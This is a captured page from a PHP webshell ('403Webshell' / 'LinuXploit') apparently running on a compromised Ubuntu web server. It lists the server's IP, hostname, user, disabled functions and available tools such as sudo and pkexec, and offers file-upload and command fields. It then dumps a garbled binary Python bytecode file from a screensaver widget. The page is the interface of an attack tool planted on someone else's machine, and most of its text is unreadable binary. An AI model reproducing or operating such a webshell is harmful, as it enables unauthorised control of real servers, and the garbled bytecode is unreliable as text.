403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/cinnamon-screensaver/widgets/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/cinnamon-screensaver/widgets/__pycache__/notificationWidget.cpython-310.pyc
o

�Zb��@sBddlmZmZddlZddlZddlmZGdd�dej�ZdS)�)�Gtk�GObjectN)�trackerscsLeZdZdZdejjddfiZ�fdd�Zd
dd�Z	d	d
�Z
dd�Z�ZS)�NotificationWidgetz�
    Notification widget is a child of the InfoPanel - it is
    only shown if we've received intercepted a non-transient
    notification that hasn't been sent from a media player.
    �notificationN�cs�tt|���|�tjj�|���d�|�	dd�d|_
tjtjj
d�}|�|�tj�d�|_|�|jddd�tj�d	tjj�|_|�|jddd�|��tj|_t���|jd
|j �dS)N�notificationwidget�2���r)�orientation�0F�z!screensaver-notification-symbolicznotification-received)!�superr�__init__�set_shadow_typer�
ShadowType�NONE�get_style_context�	add_class�set_size_request�notification_count�Box�Orientation�
HORIZONTAL�add�Label�new�label�
pack_start�Image�new_from_icon_name�IconSize�
LARGE_TOOLBAR�image�pack_end�show_all�
singletons�NotificationWatcher�notification_watcherr�con_tracker_get�connect�on_notification_received)�self�box��	__class__r�=/usr/share/cinnamon-screensaver/widgets/notificationWidget.pyrs"
�zNotificationWidget.__init__cCs^tj}|��}|��|vrdSdD]}||��vrdSq|jd7_|��|�d�dS)N)�network�r)r&�MediaPlayerWatcher�get_all_player_names�lowerr�update_label�emit)r,�proxy�sender�data�
mp_watcher�players�ignoredrrr0r+,s�z+NotificationWidget.on_notification_receivedcCs
|jdkS)Nr)r�r,rrr0�should_show>s
zNotificationWidget.should_showcCs|j�t|j��dS�N)r�set_text�strrr>rrr0r6AszNotificationWidget.update_labelr@)
�__name__�
__module__�__qualname__�__doc__r�SignalFlags�RUN_LAST�__gsignals__rr+r?r6�
__classcell__rrr.r0r	s�
r)	�
gi.repositoryrrr&�status�utilr�Framerrrrr0�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit